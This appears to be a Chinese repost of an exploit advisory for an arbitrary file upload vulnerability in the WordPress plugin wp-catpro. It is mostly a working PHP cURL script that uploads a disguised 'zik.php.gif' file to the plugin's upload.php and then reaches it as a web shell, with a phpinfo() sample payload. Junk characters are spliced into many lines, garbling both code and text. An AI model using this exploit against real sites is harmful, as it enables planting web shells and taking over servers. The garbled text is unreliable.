WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

+ R9 P8 }8 x4 Q% s/ R作者  => Zikou-16
- [, k+ ~: W9 t& I! }* f邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
; Z) e) b; s1 E! q: T下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
8 I/ n/ Y# }2 D4 O3 C4 _' @2 C! H####

& g. ]  u3 W, t/ V#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
/ I+ j9 L- D6 f4 K; C: ^9 Q------------------
$ H, q1 D4 }/ M* _: x$ ]$ f
7 T; w! b$ c" s& h3 C#=> Exploit
# [% \  p% ~" r& v-----------
- O* ^7 V, X1 H( O<?php
+ J4 n9 P$ O0 p4 y' H. |: {" N
$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
' e. _" l9 j# D0 Q5 x" P/ w: xcurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
8 ^0 O& ~1 S9 G1 l# d- barray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ C6 C5 i! ^+ T7 o) C" @$postResult = curl_exec($ch);
curl_close($ch);
* A7 g# d' h5 S* S4 u, p& N
print "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
phpinfo();
?>